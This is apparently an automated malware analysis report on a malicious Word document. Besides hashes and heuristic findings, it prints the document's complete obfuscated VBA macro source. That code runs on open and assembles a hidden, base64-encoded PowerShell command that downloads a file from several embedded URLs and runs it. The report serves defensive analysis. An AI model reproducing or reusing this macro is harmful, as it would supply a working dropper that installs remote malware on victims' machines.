Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6662d72b97d98caa…

MALICIOUS

Office (OLE)

120.2 KB Created: 2018-05-31 09:26:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 4509ff32068c13c0a390ba84bc516d47 SHA-1: a3fae1ec2c8c64c9f367dd6e58e11dad73ebe524 SHA-256: 6662d72b97d98caaf82e41e61f5122a0a6190a74096bfa4038d5f7fa7d4a4262
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic firing indicates a Shell() call within the VBA code, and the script confirms this by using the Shell function. The script attempts to construct a PowerShell command, suggesting it's designed to download and execute a secondary payload. The Autoopen macro is present, indicating it will execute upon opening the document.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    End Select
lwOFdS = fhDVRKK + Shell(bOsdZNE + Chr(vbKeyP) + QCoGdOzzaY + zGiZEDwMvkJ + VjkPltwaKFs + RNjSLiGH + FGIwi + vUcnjKZ + pDwOpPv + wHiKzIiFI + kXjjpV, SVWzPjmXlB + vbHide + YlGDzARDci)
Select Case KAlEhRUt
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18331 bytes
SHA-256: c46bdd87e0a1f9f2fe814d728acb5a07e60e4dbe178afe807e1fa0f384936dfa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vJviKlDZFUtz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function lwOFdS()
On Error Resume Next
Select Case KAlJpaMw
      Case 98328
         MZlNaG = 99216
         nBiYn = CDbl(88851)
      Case 50042
         fdEHMc = QWTHA
         pMawb = 82019
End Select
Select Case KAlIBXso
      Case 91624
         tLBOaj = 9702
         jsrRjI = CDbl(41369)
      Case 82641
         zwzwp = bLDHc
         FMTRvX = 8225
End Select
lwOFdS = fhDVRKK + Shell(bOsdZNE + Chr(vbKeyP) + QCoGdOzzaY + zGiZEDwMvkJ + VjkPltwaKFs + RNjSLiGH + FGIwi + vUcnjKZ + pDwOpPv + wHiKzIiFI + kXjjpV, SVWzPjmXlB + vbHide + YlGDzARDci)
Select Case KAlEhRUt
      Case 55320
         FJGKmK = 31839
         pwiDEZ = CDbl(6416)
      Case 43630
         cRdfXA = kRWCSh
         EMZWBw = 93817
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlToUiTN
      Case 37534
         uBKor = 55191
         ChJSZV = CDbl(77364)
      Case 26781
         HUdri = Baflw
         LthaRQ = 53526
End Select
lwOFdS
Select Case KAlItlbN
      Case 44091
         sdXUia = 88753
         wkcVr = CDbl(99239)
      Case 69835
         FiJro = sIEMMR
         jBdHO = 17437
End Select
End Sub


Attribute VB_Name = "IQTNRWjqpvkBXk"
Function QCoGdOzzaY()
On Error Resume Next
Select Case KAlJnjacX
      Case 29697
         SKwdFE = 34903
         IjKpLl = CDbl(45103)
      Case 71654
         sUsRjM = JVoCjL
         hczcNp = 25895
End Select
qRcIjV = "owersHeLL " + "-WinDowsTyle h" + "idden -e LgA" + "oACAAJABlAG4Adg"
Select Case KAlvGbCR
      Case 51939
         kXPvt = 68048
         XdizW = CDbl(40150)
      Case 68886
         PNzrd = LJKvT
         ZlpjvB = 8484
End Select
ZzuNazcTJ = "A6AEMAbw" + "BtAHMAcABl" + "AEMAWwA0ACwAM" + "gA0ACwAMgA1AF" + "0ALQBqAE8AS" + "QBuAC"
Select Case KAlRmlRIi
      Case 11216
         tPTsQ = 60635
         NFZzrY = CDbl(26793)
      Case 11270
         ZrdlnC = UQwwc
         fiwHpQ = 89736
End Select
VIohrw = "cAJwApACAAK" + "AAoACcAbgA" + "1AFYA" + "bgBzAGE" + "AJwArACcAZABh" + "AHMAZA" + "AgACcAKwAnAD0"
Select Case KAlbbtuca
      Case 42586
         MMDjm = 84747
         AUiqN = CDbl(96849)
      Case 54078
         hOlZq = kjzLWw
         jrLbf = 33491
End Select
dkWZzlDYA = "AIAAm" + "ACcAKwAn" + "ACgAbgA0" + "AGgAbg" + "AnACsAJwBuADQ" + "AaAAnACsAJwArAC" + "cAKwAnAG4A" + "JwArACcANABoAGU"
Select Case KAlmvwpn
      Case 33474
         mHZhiw = 17968
         fqBfD = CDbl(53512)
      Case 55595
         VPtBR = WPhjYf
         SwmZCz = 53704
End Select
SPHjAXwwFl = "AbgA0AGgAKwAn" + "ACsAJwBuADQAaAB" + "3AC0Abw" + "BiACcAKwA" + "nAGoAJwArACc" + "AZQBjACcAKw" + "AnAG4ANABo"
Select Case KAlirzGX
      Case 22772
         aANcJ = 79192
         ZuPjKk = CDbl(19723)
      Case 99115
         adaNuO = BdAir
         tvuQB = 78568
End Select
VInbpXlcCwO = "ACsAJwArAC" + "cAbgA0AGgAdA" + "BuADQAJ" + "wArACcAaAApACAA" + "cgAnACsA" + "JwBhACcAKwAnAG4" + "AZABvAG0AOwBuAD"
Select Case KAlTwWwrW
      Case 84696
         VnrNi = 89315
         cwwbL = CDbl(90386)
      Case 23324
         IHjBAU = tjVSii
         dWXWv = 60691
End Select
NZuIBTVC = "UAVgBZAFkAV" + "QAnAC" + "sAJwAgAD0AIA" + "AuACgAbgA0AGg" + "AbgAnACsAJw" + "BlAG4ANABoA" + "CcAKwAnACsA"
Select Case KAlJUNdUS
      Case 95764
         ZdlHw = 25986
         IVrpju = CDbl(14972)
      Case 84843
         QuVSc = pzjHw
         WXjBoa = 18196
End Select
qafwcrLZcid = "bgA0ACcAKwA" + "nAGgAJwArACcAd" + "wAnACs" + "AJwBuADQ" + "AJwArACc" + "AaAArAG4ANA" + "AnACs" + "AJwBoAC0Abw" + "BiAGoAJwArA" + "CcAZQBjAHQAJw"
Select Case KAljXjuoN
      Case 3975
         GvvBcB = 25701
         zfqVo = CDbl(74730)
      Case 51150
         ODmzLn = TwzftO
         iOBJsk = 23062
End Select
BkNQTs = "ArACcAbgA0AGgAK" + "QAnACsA" + "JwAgA" + "CcAKwAnAFMA" + "eQBzAHQAZQB" + "tAC4ATgAnA"
Select Case KAlJUKGEJ
      Case 70724
         Etwqfk = 52555
         UTAcD = CDbl(55197)
      Case 41875
         LWAbU = upiRtR
         EimiKv = 72421
End Select
kYKdYcbSOGd = "CsAJwBlAH" + "QALgBXAGUAYgBDA" + "CcAKwAnAGw" + "AJwArA" + "CcAaQBlACcAKwAn"
QCoGdOzzaY = qRcIjV + ZzuNazcTJ + VIohrw + dkWZzlDYA + SPHjAXwwFl + VInbpXlcCwO + NZuIBTVC + qafwcrLZcid + BkNQTs + kYKdYcbSOGd
End Function
Function zGiZEDwMvkJ()
On Error Resume Next
Select Case KAlYvtnzp
      Case 48489
         jthzqv = 65295
         JTazG = CDbl(23196)
      Case 25996
         JSPkNu = hkXnaH
         WoVFuY = 23583
End Select
HmaomidvZ = "AG4AdAAnA" + "CsAJw" + "A7ACcAKwAnAG4A" + "JwArACcANQBWAE" + "4AJwArACcAUwB" + "CACAAJ" + "wArACcAPQAgAG" + "4ANQAnA" + "CsAJwBWAC" + "cAKwA"
Select Case KAlwJAiZ
      Case 83532
         mpMiC = 56434
         aoWoAA = CDbl(28935)
      Case 36096
         HBUwl = BRoirV
         jjUBL = 95810
End Select
wALOJTNEij = "nAG4AcwBh" + "AGQAYQAnACsAJw" + "BzAGQAJwA" + "rACcAL" + "gBuACc" + "AKwAnA"
Select Case KAlasEKrN
      Case 62280
         FYMDdB = 88225
         EujIou = CDbl(87049)
      Case 45862
         JUFnTw = RlhOwJ
         XzTLQ = 35815
End Select
MzBzPNjYtT = "GUAeA" + "B0ACgAMQA" + "wADAAMAAwACcAKw" + "AnACwAJwA" + "rACcAIAAyADgAM" + "gAxAD" + "MAMwApADs" + "AbgA1" + "ACcAK"
Select Case KAlrEpGQG
      Case 53875
         tfzjZi = 86499
         ulZYls = CDbl(39111)
      Case 61081
         uqMKUj = FzRQPh
         sMbrB = 27872
End Select
rTUKEHq = "wAnAFYAQQAnACsA" + "JwBEAEMAJ" + "wArACcAWAAgAD0A" + "JwArACcAIAA" + "nACsAJwB" + "uACcAKwAnADQAa" + "AAnACs" + "AJwANAAoAa"
Select Case KAlkWiWY
      Case 48775
         uCzjJZ = 42253
         PfYwW = CDbl(52406)
      Case 54307
         cLNij = KATRQ
         ThnwK = 72798
End Select
jWziju = "AB0AHQAJwAr" + "ACcAcAA" + "nACsAJwA6AC8A" + "LwBzAGkA" + "cwBzAG0AY" + "QBuACcAKwA"
Select Case KAluShFH
      Case 64375
         wvTFrp = 15934
         CKLqK = CDbl(66868)
      Case 84732
         QsJLwi = clkQhw
         GFAEPO = 64425
End Select
MzZibvKEhOD = "nAC4AJwArA" + "CcAYwAnA" + "CsAJwBvAC" + "cAKwAnA"
Select Case KAlZbBNi
      Case 55269
         TbbCTQ = 24656
         VfNDqT = CDbl(13092)
      Case 46990
         HHEGpF = dRCTi
         jDPsS = 17613
End Select
sctkTfkX = "G0ALwBkACcAKw" + "AnADkAYwAn" + "ACsAJwBj" + "AGYAcwBrAC8A" + "QABoACcAK" + "wAnAHQAdAB" + "wACcAKwAn" + "ADoAJwAr"
Select Case KAlffitGf
      Case 49102
         KquSC = 52283
         XYddW = CDbl(16634)
      Case 48132
         NtQLv = owAzj
         cdLzKf = 33333
End Select
RdPjzdnvlb = "ACcALwAvACc" + "AKwAnAGsAJ" + "wArACcAbwBoA" + "GwAJw" + "ArACcAbQB" + "hACcAKwAnAG" + "kAZQAnACsAJwBy"
Select Case KAlaHAfi
      Case 56914
         rOomjG = 55654
         zqUds = CDbl(42313)
      Case 84812
         VTfduN = TqrGbG
         kcSdzk = 22893
End Select
sOtCJBziEw = "AC4AZABlACcAK" + "wAnAC8AJwArAC" + "cAUQA4AEkAJw" + "ArACcAWgB2AFk" + "AJwArACcALwB" + "AACcA"
Select Case KAlDpzML
      Case 17948
         CZwiNf = 24075
         AmdkV = CDbl(92467)
      Case 78454
         BKGFrL = YHiKP
         dhBUco = 34721
End Select
KltKpaOqKS = "KwAnAG" + "gAJwArAC" + "cAdAB0AHA" + "AJwArACcAOgAv"
zGiZEDwMvkJ = HmaomidvZ + wALOJTNEij + MzBzPNjYtT + rTUKEHq + jWziju + MzZibvKEhOD + sctkTfkX + RdPjzdnvlb + sOtCJBziEw + KltKpaOqKS
End Function
Function VjkPltwaKFs()
On Error Resume Next
Select Case KAltsOYZ
      Case 34676
         TzqOOp = 96595
         EDwqK = CDbl(46915)
      Case 51070
         VzMWFc = tHWqH
         shStY = 9088
End Select
XLJMjI = "AC8AaQBjAGwAdQB" + "iACcAKwA" + "nADgALgBoAGsAL" + "wBmAG8AcgAn" + "ACsAJwB1AG0ALw" + "AxADYALQAw" + "ACcAKw" + "AnADMALQAn" + "ACsAJwAyADAAMQ"
Select Case KAlsvABf
      Case 61395
         RdwHlS = 24690
         bMvlrk = CDbl(94290)
      Case 14194
         wqjMVj = lTSnZw
         qZfwP = 17821
End Select
BBbmrDz = "A3AC8AQQBDAE" + "4ARQBEAC8A" + "QABoACcAKwAnA" + "HQAJwArA" + "CcAdABwADoAJwAr" + "ACcALwAnAC" + "sAJwAv" + "AHcAZ"
Select Case KAlFpFzG
      Case 10473
         nNXvnI = 4918
         wkvzBW = CDbl(33498)
      Case 156
         TiBFM = lhwdt
         dMPbz = 96317
End Select
jaRjtLwjskS = "QBiAC0AJ" + "wArACcAaQBu" + "ACcAKwAnAHEALg" + "AnACsAJwBu" + "ACcAKwAnAGUAdA" + "AvAFoA" + "JwArACcAW" + "QB6AE8AVABzA"
Select Case KAlvslnI
      Case 1816
         uDSHsn = 79149
         jbDsbB = CDbl(72696)
      Case 25654
         fJoSXf = CYLFj
         rtEjRi = 29695
End Select
bDDhzlmo = "EEAJwArACcARA" + "BCACcAKwAnAHI" + "ALwBAACcAKw" + "AnAGgAdAB0AHA" + "AJwArA" + "CcAOgAnACsA" + "JwAvAC" + "8AeABsAGQAcwAu"
VjkPltwaKFs = XLJMjI + BBbmrDz + jaRjtLwjskS + bDDhzlmo
End Function
Function RNjSLiGH()
On Error Resume Next
Select Case KAlkFLzjn
      Case 45008
         WFJfw = 15539
         MJWXwF = CDbl(39558)
      Case 55654
         zzkKns = DzzvDc
         rrwvB = 10871
End Select
nFbQB = "AGQAZQAvAFUAJw" + "ArACcAcwBu" + "ACcAKw" + "AnAFEARAAn" + "ACsAJwBEAEoA"
Select Case KAlBljtsZ
      Case 89517
         TkPcb = 97262
         DMTiVF = CDbl(63840)
      Case 93076
         vjofj = KTXozN
         RvSps = 59245
End Select
XBUtwLozQk = "SgB5AC8AbgA0" + "AGgAL" + "gBTAHAAbABp" + "AHQAKABuACc" + "AKwAnADQAa" + "ABAAG4ANABoACcA" + "KwAnACkA" + "OwBuA"
Select Case KAlfbAWK
      Case 77434
         cWjpUo = 42677
         IkOiVa = CDbl(93759)
      Case 10153
         BTBvXL = NChhUj
         VrLhw = 75857
End Select
wAWJsmwlcH = "DUAVgAnACs" + "AJwBTACcAKwA" + "nAEQAQw" + "AnACsAJwAg" + "AD0AI"
Select Case KAlcZfTni
      Case 50012
         JoiVN = 40602
         mqELDc = CDbl(35142)
      Case 14407
         cZRtmJ = ARoYtW
         jdGwss = 97582
End Select
ozbRvDKA = "ABuADUAVgBlAG4" + "AdgA6AHAAdQAn" + "ACsAJwBiAGw" + "AJwArACc" + "AaQAn" + "ACsAJw" + "BjACAAKwA"
Select Case KAlVziFVd
      Case 71180
         VKRqqO = 31266
         bAwhDY = CDbl(93255)
      Case 94667
         OVhwi = OqdDU
         jnPPh = 36900
End Select
qTAtHrZzbJp = "gAG4ANABoACcAKw" + "AnAFEA" + "SQBwAG4ANABo" + "ACcAKwAnAC"
RNjSLiGH = nFbQB + XBUtwLozQk + wAWJsmwlcH + ozbRvDKA + qTAtHrZzbJp
End Function
Function FGIwi()
On Error Resume Next
Select Case KAlcjkVN
      Case 51020
         swQvw = 1920
         pGHDor = CDbl(71016)
      Case 5315
         NKvQu = hSWFi
         jdATV = 14523
End Select
YXXrYzpHBru = "AAJwArACcAKwA" + "gAG4ANQBWAE4" + "AUwAn" + "ACsAJwBC" + "ACAAKwAnACsAJw" + "AgACcAKwA" + "nACgAbgAnA" + "CsAJwA0AC" + "cAKwAnAGgAJ" + "wArACcAL"
Select Case KAlSZiGTi
      Case 83038
         HLtbdZ = 60702
         KRJbf = CDbl(28758)
      Case 97019
         rSLGc = kSjDj
         iEchDf = 49299
End Select
ZlEilib = "gBlAHgAbgA0" + "AGgAKwBuAD" + "QAaAAnAC" + "sAJwBlACcAKwAn" + "AG4ANAAn" + "ACsAJwB" + "oACkAO" + "wAnACsAJwBm"
Select Case KAlddEvE
      Case 11759
         CLfADa = 18922
         AWlEz = CDbl(53658)
      Case 51544
         ZpEtFp = XApsvN
         QBWRh = 12796
End Select
sWKmGjwJVzR = "AG8AcgB" + "lACcA" + "KwAnAGEA" + "YwBoACg" + "AbgA1" + "ACcAKwAnAFYA" + "YQBzAGYAY" + "wAgACcAK" + "wAnAGkAbgAg" + "AG4ANQBWA"
Select Case KAlDjAUo
      Case 53483
         SbZiC = 72789
         FzNkMj = CDbl(15401)
      Case 941
         iOBmG = hitUnW
         DYQNR = 9957
End Select
iskqZ = "CcAKw" + "AnAEEA" + "RABDACcAKwAn" + "AFgAKQB7ACc" + "AKwAnAHQ" + "AcgAn" + "ACsAJwB5AHsAJw" + "ArACcAbgAnACs" + "AJwA1AFYAJwArA" + "CcAWQ"
FGIwi = YXXrYzpHBru + ZlEilib + sWKmGjwJVzR + iskqZ
End Function
Function vUcnjKZ()
On Error Resume Next
Select Case KAlPNsbi
      Case 20293
         JhVWw = 4895
         RGnoE = CDbl(68181)
      Case 88449
         kizJwv = TzSCbz
         VaEvh = 45452
End Select
fGYzCoC = "BZACcA" + "KwAnA" + "FUALgBL" + "ADkAJwArACcAbQ" + "BEAG8AcgAnACsA"
Select Case KAlYzrTr
      Case 73597
         dYMVf = 45884
         KdYOGU = CDbl(28012)
      Case 41694
         tbSwk = kICWr
         lGpEJ = 44289
End Select
kOfBiIBvtzl = "JwAxAGUAJwAr" + "ACcAVwBu" + "ACcAKwA" + "nAGwAcgA"
Select Case KAlbGhwbs
      Case 20699
         fhaClD = 86465
         sZpjQo = CDbl(7595)
      Case 37353
         jRZXj = wzZuw
         irEaQ = 8776
End Select
XuWDw = "xAGUATwBh" + "ACcAKwAnAGQAJ" + "wArACcARgAnACsA" + "JwBJACcA" + "KwAnAHIA" + "MQBlAGwAZQBLAD"
Select Case KAlbTFIsH
      Case 94200
         TqYmCN = 75904
         alYwYi = CDbl(9370)
      Case 24245
         umNhl = zjdsp
         IhQmic = 14748
End Select
KdlpE = "kAJwArACcAbQ" + "AoAG4A" + "NQAnACsAJw" + "BWACcAKwAnA"
Select Case KAlHwwrw
      Case 56803
         sICwOs = 315
         UjzijY = CDbl(6449)
      Case 48107
         wTSDI = tBzLA
         oWlHRH = 52749
End Select
ipEXK = "GEAcwAnAC" + "sAJwBmAGMALgAn" + "ACsAJwBLAD" + "kAbQBUAG8AUwB0"
Select Case KAlvaiIkv
      Case 5758
         uYbEXc = 86821
         LlkwIv = CDbl(33757)
      Case 63073
         wjNMaS = bwaXk
         TMHMH = 48324
End Select
EBYdPOiLGU = "AHIAJ" + "wArACcAcg" + "AxAGUAaQAn" + "ACsAJwByADE"
Select Case KAlwbLdHw
      Case 61638
         dRzIB = 17404
         PpUTGK = CDbl(54794)
      Case 47223
         VsBSX = vnswDX
         kEimu = 97156
End Select
wEOXkEB = "AZQBOAGcAJwArAC" + "cASwA5" + "ACcAKwA" + "nAG0A" + "JwArACcAKA" + "AnACsAJw" + "ApACw"
vUcnjKZ = fGYzCoC + kOfBiIBvtzl + XuWDw + KdlpE + ipEXK + EBYdPOiLGU + wEOXkEB
End Function
Function pDwOpPv()
On Error Resume Next
Select Case KAlaPjAiz
      Case 33275
         nTZTCJ = 15015
         uOzmV = CDbl(22989)
      Case 31570
         FOuFQ = UPdrbG
         BkZZD = 504
End Select
zlwuitk = "AIABuACcAK" + "wAnADU" + "AVgAnACsAJwBTA" + "EQAQwApADs" + "AJgAoAG4" + "ANABoAEkA" + "bgAnACsAJ"
Select Case KAlWjULc
      Case 81275
         YuMLOw = 57575
         TDLbzz = CDbl(19344)
      Case 80427
         hBEtd = MRLri
         tidZG = 92308
End Select
ikbYmjlp = "wB2AG8A" + "bgA0A" + "GgAKwB" + "uADQAaABrACc" + "AKwAnA" + "G4ANAAnACsAJw" + "BoACcAKw" + "AnACsAbgA0AG" + "gAJwArACcAZQ" + "AtACcAKwAnAEkA"
Select Case KAlRjNHf
      Case 12294
         WNbCa = 24239
         Jialpu = CDbl(39914)
      Case 98427
         CHvYaV = CrDoXi
         uYnND = 97894
End Select
uWPwa = "JwArACcA" + "dAAnAC" + "sAJwBlAG0A" + "bgA0AG"
Select Case KAlJQVckD
      Case 4999
         QBASnK = 99709
         iqBfZK = CDbl(44448)
      Case 45792
         iJjMC = RADtqZ
         pRfOaB = 77463
End Select
nwdbKKjzJjd = "gAJwArACcAK" + "QAoAG4A" + "JwArAC" + "cANQBWAFMA" + "RABDACkAO" + "wAnAC"
Select Case KAlrKuoF
      Case 45741
         TQwtw = 13915
         uWbOV = CDbl(67984)
      Case 35522
         QJKmAj = LjVjQn
         mYzIOj = 75787
End Select
pGTWq = "sAJwBiAC" + "cAKwA" + "nAHIA" + "ZQBhACcA"
Select Case KAlwbojXJ
      Case 74050
         fEmHt = 71650
         SXSTEP = CDbl(45780)
      Case 27898
         TukDRN = lwVMj
         RMqZXq = 58849
End Select
ZcTPDP = "KwAnAGs" + "AOwAnACsAJw" + "B9AGMAY" + "QB0ACcAKwAnAGM"
pDwOpPv = zlwuitk + ikbYmjlp + uWPwa + nwdbKKjzJjd + pGTWq + ZcTPDP
End Function
Function wHiKzIiFI()
On Error Resume Next
Select Case KAlfFAuil
      Case 91802
         jfZNz = 30839
         ZjvSkB = CDbl(21414)
      Case 46183
         uTFGd = shjMnp
         ImcZYN = 81070
End Select
cIWZtnjJi = "AaAB7ACcAKwAn" + "AH0AJwArACcAf" + "QAnACkALgByA" + "EUAcABM" + "AGEAYwB"
Select Case KAlWBBkQp
      Case 52731
         ucUhb = 168
         fpjEn = CDbl(84416)
      Case 56164
         cnqaJq = czhlY
         EWMpQ = 16738
End Select
SdWBIvH = "lACgAJwByADEAZQ" + "AnACwAWwBTAH" + "QAcgBJAG4A" + "ZwBdAFsAQwBo"
Select Case KAlkTHHIa
      Case 93262
         oJCvsQ = 48053
         aPRijz = CDbl(43417)
      Case 99599
         bsbTXO = jnAJj
         Sitboo = 60208
End Select
YwqKwL = "AEEAUgBdA" + "DkANgApA" + "C4AcgBFAHAAT" + "ABhAGMA" + "ZQAoACcA" + "bgA0AGgAJ"
Select Case KAlfBfZmZ
      Case 97634
         GkwHRj = 65377
         QRufM = CDbl(9792)
      Case 31284
         Qszjo = LhUzv
         vtlpYJ = 64594
End Select
czwhQ = "wAsAFsAUw" + "B0AHIASQBuAG" + "cAXQBbAE" + "MAaABBAFIAXQAz"
Select Case KAlMYQlA
      Case 46680
         Xuzia = 72092
         ItcPl = CDbl(96980)
      Case 48551
         nSlqZ = jFHDX
         DrbLi = 32167
End Select
PiaRDFn = "ADkAKQAuAHIARQB" + "wAEwAYQBjAGUAK" + "AAoAFsAQwBoAEEA" + "UgBdADcANQAr"
Select Case KAlnnUUVF
      Case 62284
         rMIXjq = 96035
         zAJwpr = CDbl(79405)
      Case 85350
         DlMQRQ = UClbSw
         lslos = 97712
End Select
DAWGoT = "AFsAQ" + "wBoAEEAUgBdADUA" + "NwArAFsA" + "QwBoA" + "EEAUgB" + "dADEA" + "MAA5ACkALABbA" + "FMAdAByAE"
wHiKzIiFI = cIWZtnjJi + SdWBIvH + YwqKwL + czwhQ + PiaRDFn + DAWGoT
End Function
Function kXjjpV()
On Error Resume Next
Select Case KAloJFGiL
      Case 47158
         Hwwcs = 35104
         UUZvb = CDbl(6429)
      Case 63490
         WTzkY = ECwtw
         bHKnF = 16926
End Select
YWwFvOZsipw = "kAbgBnAF0A" + "WwBDAGgAQQ" + "BSAF0AMwA0" + "ACkALgByAEUAcAB" + "MAGEAYwBlACgAK" + "ABbAEMA"
Select Case KAlvpcpF
      Case 95049
         YRPzX = 53601
         Einia = CDbl(91)
      Case 22519
         tBiwD = MJlqSA
         PudtnH = 63737
End Select
fTDzK = "aABBAF" + "IAXQAxADEAMAArA" + "FsAQwBoAEE" + "AUgBdADUA" + "MwArAF" + "sAQwBoAEEA"
Select Case KAlnzVUHX
      Case 47704
         IiIrs = 91860
         HJtYMH = CDbl(56202)
      Case 13734
         bVooK = nsiQGC
         bwUom = 56406
End Select
dSjiKm = "UgBdADgANgAp" + "ACwAJw" + "AkACcAKQAuAH" + "IARQBwAEwAYQB" + "jAGUA" + "KAAnAFEASQB" + "wACcALAAnAFw" + "AJwApACAAKQ"
Select Case KAlJJtUT
      Case 42325
         tiVfKs = 32376
         mjkMXq = CDbl(31054)
      Case 23928
         pYuhzD = UzvvR
         UUoAuJ = 18200
End Select
wFJPIhB = "A="
kXjjpV = YWwFvOZsipw + fTDzK + dSjiKm + wFJPIhB
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.